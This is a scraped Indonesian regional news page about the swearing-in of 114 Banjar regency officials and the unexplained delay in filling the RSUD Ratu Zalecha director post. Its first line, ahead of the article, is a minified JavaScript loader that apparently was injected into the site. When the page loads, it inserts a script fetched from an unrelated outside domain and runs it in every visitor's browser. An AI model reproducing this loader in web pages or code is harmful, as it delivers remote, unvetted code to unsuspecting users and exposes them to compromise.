(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Bongkar pasang pejabat kembali dilakukan Bupati Banjar H Khalilurrahman di dua tahun masa kepemimpinnya. Diwakili Sekretaris Daerah (Sekda) H Nasrunsyah, sebanyak 114 pejabat, terdiri dari 107 pejabat struktural dan 7 pejabat fungsional dilantik, Jumat (26/10) sore di Mahligai Sultan Adam.
Dari 114 pejabat yang dilantik, satu di antaranya merupakan pejabat eselon II untuk jabatan Kepala Dinas Pemuda dan Olahraga (Dispora). Rahmat Dhany, yang semula menjabat sebagai Sekretaris pada Badan Perencanaan Pembangunan, Penelitian, dan Pengembangan (Bappelitbang) Kabupaten Banjar, dilantik menduduki kursi jabatan yang selama ini dijabat Pelaksana Tugas (Plt).
Dilantiknya Rahmat Dhany dari hasil seleksi terbuka sebagai Kepala Dinas Pemuda dan Olahraga oleh Nasrunsyah, justru mencuatkan tanda tanya besar. Pasalnya, dua jabatan eselon II lainnya yang sebelumnya juga diseleksi terbuka; Kepala Badan Penanggulangan Bencana Daerah (BPBD) dan Direktur RSUD Ratu Zalecha, tak ikut dilantik. (Baca: Kejanggalan Warnai Drama Pelantikan 114 Pejabat Pemkab Banjar).
Padahal, jabatan Plt Direktur RSUD Ratu Zalecha sudah 10 bulan lamanya. Masa yang lebih lama dibanding jabatan Plt Kepala Dinas Pemuda dan Olahraga yang baru beberapa bulan.
Tak kunjung dilantiknya Direktur RSUD Ratu Zalecha, seolah memperkuat dugaan adanya intervensi sejumlah pihak berkepentingan di kursi jabatan yang saat ini diduduki Eko Subiyanto sebagai Plt.
Seperti yang sebelumnya dikabarkan kanalkalimantan.com, kursi jabatan Direktur RSUD Ratu Zalecha diduga sengaja digantung lantaran adanya intervensi pihak berkepentingan yang ingin menempatkan orang-orang pilihannya.
Merebak kabar, ada dua kubu pendapat di DPRD Banjar perihal nama yang beredar untuk posisi Direktur RSUD Ratu Zalecha. Meskipun putusan terakhir ada di tangan Bupati, namun secara politis akan tetap mempertimbangkan segala resiko jika terjadi perbedaan pendapat antara eksekutif dan legislatif.
Ditanya tentang itu usai prosesi pelantikan, H Nasrunsyah hanya mengatakan, banyak hal yang memang harus dipertimbangkan sebelum melantik seseorang. Dan lagi ujarnya, keputusan ada di tangan bupati.
“Jadi ditunggu saja keputusan beliau,†ujar Nasrunsyah sembari menyampaikan ketidakhadiran bupati pada pelantikan dikarenakan sedang menjalani pemeriksaan kesehatan di Surabaya, Jatim. (rudiyanto)
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
This website uses cookies.